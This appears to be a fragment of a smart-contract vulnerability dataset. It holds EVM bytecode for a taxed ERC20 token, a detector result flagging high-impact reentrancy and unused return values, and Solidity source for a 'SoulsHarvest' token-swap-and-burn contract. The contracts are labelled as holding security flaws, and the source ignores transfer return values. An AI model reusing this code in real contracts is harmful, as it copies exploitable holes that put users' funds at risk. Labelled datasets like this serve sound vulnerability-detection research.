000000000000000000000000000000000000000000000815250905090565b600061096d6109666110b3565b8484611286565b6001905092915050565b61097f6110b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a03906128e1565b60405180910390fd5b60005b8151811015610a9d57600160066000848481518110610a3157610a30612901565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a959061295f565b915050610a0f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae26110b3565b73ffffffffffffffffffffffffffffffffffffffff1614610b0257600080fd5b6000610b0d3061074f565b9050610b1881611a58565b50565b610b236110b3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba7906128e1565b60405180910390fd5b600f60149054906101000a900460ff1615610c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf7906129f4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006110bb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cff9190612a29565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d8a9190612a29565b6040518363ffffffff1660e01b8152600401610da7929190612a56565b6020604051808303816000875af1158015610dc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dea9190612a29565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e733061074f565b600080610e7e6108f3565b426040518863ffffffff1660e01b8152600401610ea096959493929190612ac4565b60606040518083038185885af1158015610ebe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee39190612b3a565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fe5929190612b8d565b6020604051808303816000875af1158015611004573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110289190612bcb565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112290612c6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561119b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119290612cfc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611279919061256f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed90612d8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d90612e20565b60405180910390fd5b600081116113a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a090612eb2565b60405180910390fd5b6002600a819055506009600b819055506113c16108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561142f57506113ff6108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561187b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6114e157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561158c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156115fa5750600f60179054906101000a900460ff165b156116aa5760105481111561160e57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061165957600080fd5b601e426116669190612ed2565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117555750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117ab5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117c1576002600a819055506009600b819055505b60006117cc3061074f565b9050600f60159054906101000a900460ff161580156118395750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118515750600f60169054906101000a900460ff165b156118795761185f81611a58565b6000479050600081111561187757611876476118ef565b5b505b505b611886838383611cd1565b505050565b60008383111582906118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca9190612420565b60405180910390fd5b50600083856118e29190612f28565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61193f600284611ce190919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561196a573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119bb600284611ce190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119e6573d6000803e3d6000fd5b5050565b6000600854821115611a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2890612fce565b60405180910390fd5b6000611a3b611d2b565b9050611a508184611ce190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a9057611a8f6126c9565b5b604051908082528060200260200182016040528015611abe5781602001602082028036833780820191505090505b5090503081600081518110611ad657611ad5612901565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba19190612a29565b81600181518110611bb557611bb4612901565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c1c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110bb565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c809594939291906130ac565b600060405180830381600087803b158015611c9a57600080fd5b505af1158015611cae573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611cdc838383611d56565b505050565b6000611d2383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f21565b905092915050565b6000806000611d38611f84565b91509150611d4f8183611ce190919063ffffffff16565b9250505090565b600080600080600080611d6887611fe6565b955095509550955095509550611dc686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ea7816120f6565b611eb184836121b3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f0e919061256f565b60405180910390a3505050505050505050565b60008083118290611f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5f9190612420565b60405180910390fd5b5060008385611f779190613135565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050611fba683635c9adc5dea00000600854611ce190919063ffffffff16565b821015611fd957600854683635c9adc5dea00000935093505050611fe2565b81819350935050505b9091565b60008060008060008060008060006120038a600a54600b546121ed565b9250925092506000612013611d2b565b905060008060006120268e878787612283565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061209083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061188b565b905092915050565b60008082846120a79190612ed2565b9050838110156120ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e3906131b2565b60405180910390fd5b8091505092915050565b6000612100611d2b565b90506000612117828461230c90919063ffffffff16565b905061216b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6121c88260085461204e90919063ffffffff16565b6008819055506121e38160095461209890919063ffffffff16565b6009819055505050565b600080600080612219606461220b888a61230c90919063ffffffff16565b611ce190919063ffffffff16565b905060006122436064612235888b61230c90919063ffffffff16565b611ce190919063ffffffff16565b9050600061226c8261225e858c61204e90919063ffffffff16565b61204e90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061229c858961230c90919063ffffffff16565b905060006122b3868961230c90919063ffffffff16565b905060006122ca878961230c90919063ffffffff16565b905060006122f3826122e5858761204e90919063ffffffff16565b61204e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561231f5760009050612381565b6000828461232d91906131d2565b905082848261233c9190613135565b1461237c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123739061329e565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156123c15780820151818401526020810190506123a6565b838111156123d0576000848401525b50505050565b6000601f19601f8301169050919050565b60006123f282612387565b6123fc8185612392565b935061240c8185602086016123a3565b612415816123d6565b840191505092915050565b6000602082019050818103600083015261243a81846123e7565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061248182612456565b9050919050565b61249181612476565b811461249c57600080fd5b50565b6000813590506124ae81612488565b92915050565b6000819050919050565b6124c7816124b4565b81146124d257600080fd5b50565b6000813590506124e4816124be565b92915050565b600080604083850312156125015761250061244c565b5b600061250f8582860161249f565b9250506020612520858286016124d5565b9150509250929050565b60008115159050919050565b61253f8161252a565b82525050565b600060208201905061255a6000830184612536565b92915050565b612569816124b4565b82525050565b60006020820190506125846000830184612560565b92915050565b6000806000606084860312156125a3576125a261244c565b5b60006125b18682870161249f565b93505060206125c28682870161249f565b92505060406125d3868287016124d5565b9150509250925092565b6000602082840312156125f3576125f261244c565b5b60006126018482850161249f565b91505092915050565b600060ff82169050919050565b6126208161260a565b82525050565b600060208201905061263b6000830184612617565b92915050565b61264a8161252a565b811461265557600080fd5b50565b60008135905061266781612641565b92915050565b6000602082840312156126835761268261244c565b5b600061269184828501612658565b91505092915050565b6126a381612476565b82525050565b60006020820190506126be600083018461269a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612701826123d6565b810181811067ffffffffffffffff821117156127205761271f6126c9565b5b80604052505050565b6000612733612442565b905061273f82826126f8565b919050565b600067ffffffffffffffff82111561275f5761275e6126c9565b5b602082029050602081019050919050565b600080fd5b600061278861278384612744565b612729565b905080838252602082019050602084028301858111156127ab576127aa612770565b5b835b818110156127d457806127c0888261249f565b8452602084019350506020810190506127ad565b5050509392505050565b600082601f8301126127f3576127f26126c4565b5b8135612803848260208601612775565b91505092915050565b6000602082840312156128225761282161244c565b5b600082013567ffffffffffffffff8111156128405761283f612451565b5b61284c848285016127de565b91505092915050565b6000806040838503121561286c5761286b61244c565b5b600061287a8582860161249f565b925050602061288b8582860161249f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128cb602083612392565b91506128d682612895565b602082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061296a826124b4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561299d5761299c612930565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006129de601783612392565b91506129e9826129a8565b602082019050919050565b60006020820190508181036000830152612a0d816129d1565b9050919050565b600081519050612a2381612488565b92915050565b600060208284031215612a3f57612a3e61244c565b5b6000612a4d84828501612a14565b91505092915050565b6000604082019050612a6b600083018561269a565b612a78602083018461269a565b9392505050565b6000819050919050565b6000819050919050565b6000612aae612aa9612aa484612a7f565b612a89565b6124b4565b9050919050565b612abe81612a93565b82525050565b600060c082019050612ad9600083018961269a565b612ae66020830188612560565b612af36040830187612ab5565b612b006060830186612ab5565b612b0d608083018561269a565b612b1a60a0830184612560565b979650505050505050565b600081519050612b34816124be565b92915050565b600080600060608486031215612b5357612b5261244c565b5b6000612b6186828701612b25565b9350506020612b7286828701612b25565b9250506040612b8386828701612b25565b9150509250925092565b6000604082019050612ba2600083018561269a565b612baf6020830184612560565b9392505050565b600081519050612bc581612641565b92915050565b600060208284031215612be157612be061244c565b5b6000612bef84828501612bb6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612c54602483612392565b9150612c5f82612bf8565b604082019050919050565b60006020820190508181036000830152612c8381612c47565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ce6602283612392565b9150612cf182612c8a565b604082019050919050565b60006020820190508181036000830152612d1581612cd9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d78602583612392565b9150612d8382612d1c565b604082019050919050565b60006020820190508181036000830152612da781612d6b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612e0a602383612392565b9150612e1582612dae565b604082019050919050565b60006020820190508181036000830152612e3981612dfd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612e9c602983612392565b9150612ea782612e40565b604082019050919050565b60006020820190508181036000830152612ecb81612e8f565b9050919050565b6000612edd826124b4565b9150612ee8836124b4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f1d57612f1c612930565b5b828201905092915050565b6000612f33826124b4565b9150612f3e836124b4565b925082821015612f5157612f50612930565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612fb8602a83612392565b9150612fc382612f5c565b604082019050919050565b60006020820190508181036000830152612fe781612fab565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61302381612476565b82525050565b6000613035838361301a565b60208301905092915050565b6000602082019050919050565b600061305982612fee565b6130638185612ff9565b935061306e8361300a565b8060005b8381101561309f5781516130868882613029565b975061309183613041565b925050600181019050613072565b5085935050505092915050565b600060a0820190506130c16000830188612560565b6130ce6020830187612ab5565b81810360408301526130e0818661304e565b90506130ef606083018561269a565b6130fc6080830184612560565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613140826124b4565b915061314b836124b4565b92508261315b5761315a613106565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061319c601b83612392565b91506131a782613166565b602082019050919050565b600060208201905081810360008301526131cb8161318f565b9050919050565b60006131dd826124b4565b91506131e8836124b4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561322157613220612930565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613288602183612392565b91506132938261322c565b604082019050919050565b600060208201905081810360008301526132b78161327b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079bd61bb9277071ed7ff78d3de64a81405de4fe7becb67bf913052d8ada8f34b64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,118 |
0x19814704f5747b273e9b3429c65356812683ba74
|
/**
/
/_______/\\\\\\\\\_ __/\\\\\\\\\\\\\\\_ __/\\\________/\\\_ __/\\\________/\\\_ __/\\\_____________ __/\\\________/\\\_ __/\\\________/\\\_
/_____/\\\////////__ _\///////\\\/////__ _\/\\\_______\/\\\_ _\/\\\_______\/\\\_ _\/\\\_____________ _\/\\\_______\/\\\_ _\/\\\_______\/\\\_
/ ___/\\\/___________ _______\/\\\_______ _\/\\\_______\/\\\_ _\/\\\_______\/\\\_ _\/\\\_____________ _\/\\\_______\/\\\_ _\/\\\_______\/\\\_
/ __/\\\_____________ _______\/\\\_______ _\/\\\\\\\\\\\\\\\_ _\/\\\_______\/\\\_ _\/\\\_____________ _\/\\\\\\\\\\\\\\\_ _\/\\\_______\/\\\_
/ _\/\\\_____________ _______\/\\\_______ _\/\\\/////////\\\_ _\/\\\_______\/\\\_ _\/\\\_____________ _\/\\\/////////\\\_ _\/\\\_______\/\\\_
/ _\//\\\____________ _______\/\\\_______ _\/\\\_______\/\\\_ _\/\\\_______\/\\\_ _\/\\\_____________ _\/\\\_______\/\\\_ _\/\\\_______\/\\\_
/ __\///\\\__________ _______\/\\\_______ _\/\\\_______\/\\\_ _\//\\\______/\\\__ _\/\\\_____________ _\/\\\_______\/\\\_ _\//\\\______/\\\__
/ ____\////\\\\\\\\\_ _______\/\\\_______ _\/\\\_______\/\\\_ __\///\\\\\\\\\/___ _\/\\\\\\\\\\\\\\\_ _\/\\\_______\/\\\_ __\///\\\\\\\\\/___
/ _______\/////////__ _______\///________ _\///________\///__ ____\/////////_____ _\///////////////__ _\///________\///__ ____\/////////_____
/___________ ___________ _____/\\\\\\\\\\\___ _______/\\\\\______ __/\\\________/\\\_ __/\\\_____________ ___________ ___________
/ ___________ ___________ ___/\\\/////////\\\_ _____/\\\///\\\____ _\/\\\_______\/\\\_ _\/\\\_____________ ___________ ___________
/ ___________ ___________ __\//\\\______\///__ ___/\\\/__\///\\\__ _\/\\\_______\/\\\_ _\/\\\_____________ ___________ ___________
/ ___________ ___________ ___\////\\\_________ __/\\\______\//\\\_ _\/\\\_______\/\\\_ _\/\\\_____________ ___________ ___________
/ ___________ ___________ ______\////\\\______ _\/\\\_______\/\\\_ _\/\\\_______\/\\\_ _\/\\\_____________ ___________ ___________
/ ___________ ___________ _________\////\\\___ _\//\\\______/\\\__ _\/\\\_______\/\\\_ _\/\\\_____________ ___________ ___________
/ ___________ ___________ __/\\\______\//\\\__ __\///\\\__/\\\____ _\//\\\______/\\\__ _\/\\\_____________ ___________ ___________
/ ___________ ___________ _\///\\\\\\\\\\\/___ ____\///\\\\\/_____ __\///\\\\\\\\\/___ _\/\\\\\\\\\\\\\\\_ ___________ ___________
/ ___________ ___________ ___\///////////_____ ______\/////_______ ____\/////////_____ _\///////////////__ ___________ ___________
/_/\\\________/\\\_ _____/\\\\\\\\\____ ____/\\\\\\\\\_____ __/\\\________/\\\_ __/\\\\\\\\\\\\\\\_ _____/\\\\\\\\\\\___ __/\\\\\\\\\\\\\\\_ __/\\\\\\\\\\\\\\\_ ____/\\\\\\\\\_____
/_\/\\\_______\/\\\_ ___/\\\\\\\\\\\\\__ __/\\\///////\\\___ _\/\\\_______\/\\\_ _\/\\\///////////__ ___/\\\/////////\\\_ _\///////\\\/////__ _\/\\\///////////__ __/\\\///////\\\___
/ _\/\\\_______\/\\\_ __/\\\/////////\\\_ _\/\\\_____\/\\\___ _\//\\\______/\\\__ _\/\\\_____________ __\//\\\______\///__ _______\/\\\_______ _\/\\\_____________ _\/\\\_____\/\\\___
/ _\/\\\\\\\\\\\\\\\_ _\/\\\_______\/\\\_ _\/\\\\\\\\\\\/____ __\//\\\____/\\\___ _\/\\\\\\\\\\\_____ ___\////\\\_________ _______\/\\\_______ _\/\\\\\\\\\\\_____ _\/\\\\\\\\\\\/____
/ _\/\\\/////////\\\_ _\/\\\\\\\\\\\\\\\_ _\/\\\//////\\\____ ___\//\\\__/\\\____ _\/\\\///////______ ______\////\\\______ _______\/\\\_______ _\/\\\///////______ _\/\\\//////\\\____
/ _\/\\\_______\/\\\_ _\/\\\/////////\\\_ _\/\\\____\//\\\___ ____\//\\\/\\\_____ _\/\\\_____________ _________\////\\\___ _______\/\\\_______ _\/\\\_____________ _\/\\\____\//\\\___
/ _\/\\\_______\/\\\_ _\/\\\_______\/\\\_ _\/\\\_____\//\\\__ _____\//\\\\\______ _\/\\\_____________ __/\\\______\//\\\__ _______\/\\\_______ _\/\\\_____________ _\/\\\_____\//\\\__
/ _\/\\\_______\/\\\_ _\/\\\_______\/\\\_ _\/\\\______\//\\\_ ______\//\\\_______ _\/\\\\\\\\\\\\\\\_ _\///\\\\\\\\\\\/___ _______\/\\\_______ _\/\\\\\\\\\\\\\\\_ _\/\\\______\//\\\_
/ _\///________\///__ _\///________\///__ _\///________\///__ _______\///________ _\///////////////__ ___\///////////_____ _______\///________ _\///////////////__ _\///________\///__
/
///
/* *******
/* ************************
/* ******************************
/* **********************************
/* ************************************
/* ************************************
/* ************************************
/* //////////////////////////////////************************************////////////////////////////////////
/* /// ************************************ ///
/* /// ************************************ ///
/* /// *************************************** ///
/* /// ******** ***************************************** ******** ///
/* /// *********** ******************************************* ************ ///
/* /// ******* **** **********//////************////////*********** **** ******* ///
/* /// ****** ***** *********************************************** ***** ***** ///
/* /// ****** ***** *********************************************** ***** ****** ///
/* /// ************** ***************************************** ***************** ///
/* /// *** * ********* *************************************** *************** ///
/* ///***** ******* ******************************************* ******* ***** ///
/* ///*** ***************************************************************************** *** ///
/* ///* ********************************************************************** **///
/* /// ************************************************************** *///
/* /// * * ****************************************** ///
/* /// * *********************************************** ///
/* /// * ******* *********************************** ******* ///
/* /// * ******* *********************************** ****** ///
/* /// ***** *********************************** **** ///
/* /// ***** ************************************ *** ///
/* /// **** ************************************* *** ///
/* /// *** ************************************* *** ///
/* /// *** ************************************* *** ///
/* /// **** ************************************* ** ///
/* /// **** ************************************* ** ///
/* /// *** ******** ****************** ******* ** ///
/* /// *** ****** ****************** ****** ** ///
/* /// *** ****** ****** ******** ****** ** ///
/* /// ** ****** ***** ***** ***** * ///
/* /// * ****** ***** ***** ***** ///
/* /// ***** ***** ***** **** ///
/* /// **** ********* **** ///
/* /// ***** ******** **** ///
/* /// ***** ******** **** ///
/// /// **** ******* *** ///
/// /// * ***** ** * ///
/// /// **** **** * ///
/// /// *** *** * ///
/// /// *** *** * ///
/// /// *** ** * ///
/// /// *** * * ///
/// /// * ///
/// /// * ///
/// /// * ///
/// /// ///
/// /// ///
/// /// ///
/// /// ///
/// /// ///
/// /// ///
/// /// ///
/// /// ///
/// /// ///
/// /// ///
/// /// ///
/// //////////////////////////////////////////////////////////////////////////////////////////////////////////
///
///
///
/// Website: ct-hu.com
**/
pragma solidity ^0.7.1;
// SPDX-License-Identifier: UNLICENSED
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address who) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes calldata data) external;
}
interface burn{
function burnAmountOfTokensFromTheCallerBECAREFUL(uint256 amount) external;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SoulsHarvest is Ownable {
IERC20 public cthu;
IERC20 public souls;
burn soulAddressBurn;
address soulAddress;
constructor(address _cthu, address _souls) {
cthu = IERC20(_cthu);
souls = IERC20(_souls);
soulAddressBurn = burn(_souls);
soulAddress = _souls;
}
event Bought(address indexed buyer, uint256 amount);
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public onlyOwner {
require(tokenAddress != soulAddress);
require(tokenAddress != address(this));
require(IERC20(tokenAddress).balanceOf(address(this)) >= amount);
IERC20(tokenAddress).transfer(msg.sender, amount);
}
function buy(uint256 amount) external {
require(souls.balanceOf(msg.sender) >= amount);
uint cthuToRecieve = amount / 100;
require(cthu.balanceOf(address(this)) >= cthuToRecieve);
// @dev need to be approved via the UI
souls.transferFrom(msg.sender, address(this), amount);
soulAddressBurn.burnAmountOfTokensFromTheCallerBECAREFUL(amount);
cthu.transfer(msg.sender, cthuToRecieve);
emit Bought(msg.sender, amount);
}
}
|
